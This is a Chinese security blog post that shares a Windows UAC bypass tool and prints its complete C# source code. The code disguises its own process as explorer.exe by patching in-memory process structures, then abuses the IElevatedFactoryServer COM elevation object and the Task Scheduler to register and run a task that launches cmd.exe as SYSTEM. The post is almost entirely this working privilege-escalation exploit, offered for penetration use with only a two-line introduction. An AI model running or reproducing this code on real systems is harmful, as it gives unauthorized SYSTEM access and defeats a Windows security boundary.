玩转Windows计划任务的小工具,UAC BYPASS

作者:Sec-Labs | 发布时间:

工具介绍

一个新的UAC BYPASS技术,使用IElevatedFactoryServer COM对象(Get SYSTEM dirtectly!)

工具地址

https://github.com/zcgonvh/TaskSchedulerMisc

核心代码

schuac.cs

using System;
using System.IO;
using System.Net;
using System.Reflection;
using System.Runtime;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Collections;
using System.Collections.Generic;
using System.Collections.Concurrent;
using System.Diagnostics;
using System.Text;
using System.Threading;

namespace Zcg.Tests.Windows.UAC.ElevatedServerBypass
{
    class Program
    {
        static void Main(string[] args)
        {
            try
            {
                Console.Write("[+] do local patch ...");
                var fake = "explorer.exe";
                var fake2 = @"c:\windows\explorer.exe";
                var PPEB = RtlGetCurrentPeb();
                PEB PEB = (PEB)Marshal.PtrToStructure(PPEB, typeof(PEB));
                bool x86 = Marshal.SizeOf(typeof(IntPtr)) == 4;
                var pImagePathName = new IntPtr(PEB.ProcessParameters.ToInt64() + (x86 ? 0x38 : 0x60));
                var pCommandLine = new IntPtr(PEB.ProcessParameters.ToInt64() + (x86 ? 0x40 : 0x70));
                RtlInitUnicodeString(pImagePathName, fake2);
                RtlInitUnicodeString(pCommandLine, fake2);

                PEB_LDR_DATA PEB_LDR_DATA = (PEB_LDR_DATA)Marshal.PtrToStructure(PEB.Ldr, typeof(PEB_LDR_DATA));
                LDR_DATA_TABLE_ENTRY LDR_DATA_TABLE_ENTRY;
                var pFlink = new IntPtr(PEB_LDR_DATA.InLoadOrderModuleList.Flink.ToInt64());
                var first = pFlink;
                do
                {
                    LDR_DATA_TABLE_ENTRY = (LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(pFlink, typeof(LDR_DATA_TABLE_ENTRY));
                    if (LDR_DATA_TABLE_ENTRY.FullDllName.Buffer.ToInt64() < 0 || LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer.ToInt64() < 0)
                    {
                        pFlink = LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink;
                        continue;
                    }
                    try
                    {
                        if (Marshal.PtrToStringUni(LDR_DATA_TABLE_ENTRY.FullDllName.Buffer).EndsWith(".exe"))
                        {
                            RtlInitUnicodeString(new IntPtr(pFlink.ToInt64() + (x86 ? 0x24 : 0x48)), fake2);
                            RtlInitUnicodeString(new IntPtr(pFlink.ToInt64() + (x86 ? 0x2c : 0x58)), fake);
                            LDR_DATA_TABLE_ENTRY = (LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(pFlink, typeof(LDR_DATA_TABLE_ENTRY));
                            break;
                        }
                    }
                    catch { }
                    pFlink = LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink;
                } while (pFlink != first);
                Console.WriteLine("ok!");

                BIND_OPTS3 opt = new BIND_OPTS3();
                opt.cbStruct = (uint)Marshal.SizeOf(opt);
                opt.dwClassContext = 4;

                var srv = CoGetObject("Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}", ref opt, new Guid("{00000000-0000-0000-C000-000000000046}")) as IElevatedFactoryServer;
                Console.WriteLine("[+] create factory: " + srv);
                var svc = srv.ServerCreateElevatedObject(new Guid("{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}"), new Guid("{00000000-0000-0000-C000-000000000046}")) as ITaskService;
                Console.WriteLine("[+] create task service: " + svc);
                svc.Connect();
                var folder = svc.GetFolder("\\");
                var task = folder.RegisterTask("Test Task", xml, 0, null, null, 3, null);
                Console.WriteLine("[+] register task: " + task);
                Console.WriteLine("[+] run task: " + task.Run(null));
            }
            catch (Exception ex)
            {
                Console.WriteLine("\r\n" + ex);
            }
        }
        [DllImport("ole32.dll", CharSet = CharSet.Unicode, ExactSpelling = true, PreserveSig = false)]
        [return: MarshalAs(UnmanagedType.Interface)]
        static extern object CoGetObject(string pszName, [In] ref BIND_OPTS3 pBindOptions, [In, MarshalAs(UnmanagedType.LPStruct)] Guid riid);

        static string xml = @"<?xml version=""1.0"" encoding=""UTF-16""?>
<Task version=""1.3"" xmlns=""http://schemas.microsoft.com/windows/2004/02/mit/task"">
  <RegistrationInfo>
    <Description>Test Task</Description>
  </RegistrationInfo>
  <Triggers />
  <Principals>
    <Principal id=""Author"">
      <UserId>SYSTEM</UserId>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <StartWhenAvailable>false</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <Duration>PT10M</Duration>
      <WaitTimeout>PT1H</WaitTimeout>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>false</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <UseUnifiedSchedulingEngine>false</UseUnifiedSchedulingEngine>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context=""Author"">
    <Exec>
      <Command>cmd.exe</Command>
    </Exec>
  </Actions>
</Task>";
        [Guid("804bd226-af47-4d71-b492-443a57610b08")]
        [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
        interface IElevatedFactoryServer
        {
            [return: MarshalAs(UnmanagedType.Interface)]
            object ServerCreateElevatedObject([In, MarshalAs(UnmanagedType.LPStruct)] Guid rclsid, [In, MarshalAs(UnmanagedType.LPStruct)] Guid riid);
        }

        #region task tiny

        [ComImport, Guid("9C86F320-DEE3-4DD1-B972-A303F26B061E"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity, DefaultMember("Path")]
        internal interface IRegisteredTask
        {
            string Name { [return: MarshalAs(UnmanagedType.BStr)] get; }
            string Path { [return: MarshalAs(UnmanagedType.BStr)] get; }
            uint State { get; }
            bool Enabled { get; set; }
            [return: MarshalAs(UnmanagedType.Interface)]
            object Run([In, MarshalAs(UnmanagedType.Struct)] object parameters);
            [return: MarshalAs(UnmanagedType.Interface)]
            object RunEx([In, MarshalAs(UnmanagedType.Struct)] object parameters, [In] int flags, [In] int sessionID, [In, MarshalAs(UnmanagedType.BStr)] string user);
            [return: MarshalAs(UnmanagedType.Interface)]
            object GetInstances(int flags);
            DateTime LastRunTime { get; }
            int LastTaskResult { get; }
            int NumberOfMissedRuns { get; }
            DateTime NextRunTime { get; }
            object Definition { [return: MarshalAs(UnmanagedType.Interface)] get; }
            string Xml { [return: MarshalAs(UnmanagedType.BStr)] get; }
            [return: MarshalAs(UnmanagedType.BStr)]
            string GetSecurityDescriptor(int securityInformation);
            void SetSecurityDescriptor([In, MarshalAs(UnmanagedType.BStr)] string sddl, [In] int flags);
            void Stop(int flags);
        }

        [ComImport, Guid("8CFAC062-A080-4C15-9A88-AA7C2AF80DFC"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity, DefaultMember("Path")]
        internal interface ITaskFolder
        {
            string Name { [return: MarshalAs(UnmanagedType.BStr)] get; }
            string Path { [return: MarshalAs(UnmanagedType.BStr)] get; }
            [return: MarshalAs(UnmanagedType.Interface)]
            ITaskFolder GetFolder([MarshalAs(UnmanagedType.BStr)] string Path);
            [return: MarshalAs(UnmanagedType.Interface)]
            object GetFolders(int flags);
            [return: MarshalAs(UnmanagedType.Interface)]
            ITaskFolder CreateFolder();
            void DeleteFolder();
            [return: MarshalAs(UnmanagedType.Interface)]
            IRegisteredTask GetTask();
            [return: MarshalAs(UnmanagedType.Interface)]
            object GetTasks(int flags);
            void DeleteTask();
            [return: MarshalAs(UnmanagedType.Interface)]
            IRegisteredTask RegisterTask([In, MarshalAs(UnmanagedType.BStr)] string Path, [In, MarshalAs(UnmanagedType.BStr)] string XmlText, [In] int flags, [In, MarshalAs(UnmanagedType.Struct)] object UserId, [In, MarshalAs(UnmanagedType.Struct)] object password, [In] int LogonType, [In, Optional, MarshalAs(UnmanagedType.Struct)] object sddl);
            [return: MarshalAs(UnmanagedType.Interface)]
            IRegisteredTask RegisterTaskDefinition();
            [return: MarshalAs(UnmanagedType.BStr)]
            string GetSecurityDescriptor(int securityInformation);
            void SetSecurityDescriptor([In, MarshalAs(UnmanagedType.BStr)] string sddl, [In] int flags);
        }

        [ComImport, DefaultMember("TargetServer"), Guid("2FABA4C7-4DA9-4013-9697-20CC3FD40F85"), System.Security.SuppressUnmanagedCodeSecurity]
        internal interface ITaskService
        {
            [return: MarshalAs(UnmanagedType.Interface)]
            [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), DispId(1)]
            ITaskFolder GetFolder([In, MarshalAs(UnmanagedType.BStr)] string Path);
            [return: MarshalAs(UnmanagedType.Interface)]
            [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), DispId(2)]
            object GetRunningTasks(int flags);
            [return: MarshalAs(UnmanagedType.Interface)]
            [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), DispId(3)]
            object NewTask([In] uint flags);
            [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), DispId(4)]
            void Connect([In, Optional, MarshalAs(UnmanagedType.Struct)] object serverName, [In, Optional, MarshalAs(UnmanagedType.Struct)] object user, [In, Optional, MarshalAs(UnmanagedType.Struct)] object domain, [In, Optional, MarshalAs(UnmanagedType.Struct)] object password);
            [DispId(5)]
            bool Connected { [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), DispId(5)] get; }
            [DispId(0)]
            string TargetServer { [return: MarshalAs(UnmanagedType.BStr)] [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), DispId(0)] get; }
            [DispId(6)]
            string ConnectedUser { [return: MarshalAs(UnmanagedType.BStr)] [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), DispId(6)] get; }
            [DispId(7)]
            string ConnectedDomain { [return: MarshalAs(UnmanagedType.BStr)] [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), DispId(7)] get; }
            [DispId(8)]
            uint HighestVersion { [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), DispId(8)] get; }
        }

        #endregion

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
        public struct PEB
        {
            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)]
            public Byte[] Reserved1;
            public Byte BeingDebugged;
            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)]
            public Byte[] Reserved2;
            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)]
            public IntPtr[] Reserved3;
            public IntPtr Ldr;
            public IntPtr ProcessParameters;
            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 3)]
            public IntPtr[] Reserved4;
            public IntPtr AtlThunkSListPtr;
            public IntPtr Reserved5;
            public ulong Reserved6;
            public IntPtr Reserved7;
            public ulong Reserved8;
            public ulong AtlThunkSListPtr32;
            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 45)]
            public IntPtr[] Reserved9;
            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 96)]
            public Byte[] Reserved10;
            public IntPtr PostProcessInitRoutine;
            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 128)]
            public Byte[] Reserved11;
            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)]
            public IntPtr[] Reserved12;
            public ulong SessionId;
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        public struct UNICODE_STRING
        {
            public ushort Length;
            public ushort MaximumLength;
            public IntPtr Buffer;
        }
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
        public struct RTL_USER_PROCESS_PARAMETERS
        {
            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
            public Byte[] Reserved1;
            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)]
            public IntPtr[] Reserved2;
            public UNICODE_STRING ImagePathName;
            public UNICODE_STRING CommandLine;
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
        public struct LIST_ENTRY
        {
            public IntPtr Flink;
            public IntPtr Blink;
        }
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
        public struct PEB_LDR_DATA
        {
            public UInt32 Length;
            public UInt32 Initialized;
            public UInt64 SsHandleIntPtr;
            public LIST_ENTRY InLoadOrderModuleList;
            public LIST_ENTRY InMemoryOrderModuleList;
            public LIST_ENTRY InInitializationOrderModuleList;
            public IntPtr EntryInProgress;
        }
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
        public struct LDR_DATA_TABLE_ENTRY
        {
            public LIST_ENTRY InLoadOrderLinks;
            public LIST_ENTRY InMemoryOrderLinks;
            public LIST_ENTRY InInitializationOrderLinks;
            public IntPtr DllBase;
            public IntPtr EntryPoint;
            public IntPtr SizeOfImage;
            public UNICODE_STRING FullDllName;
            public UNICODE_STRING BaseDllName;
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
        public struct BIND_OPTS3
        {
            public UInt32 cbStruct;
            public UInt32 grfFlags;
            public UInt32 grfMode;
            public UInt32 dwTickCountDeadline;
            public UInt32 dwTrackFlags;
            public UInt32 dwClassContext;
            public UInt32 locale;
            public IntPtr pServerInfo;
            public IntPtr hwnd;
        }
        [DllImport("ntdll.dll", CharSet = CharSet.Ansi, SetLastError = true)]
        public static extern IntPtr RtlGetCurrentPeb();
        [DllImport("ntdll.dll", CharSet = CharSet.Unicode, SetLastError = true)]
        public static extern void RtlInitUnicodeString(IntPtr desc, string str);
    }
}

 

标签:工具分享, 渗透技巧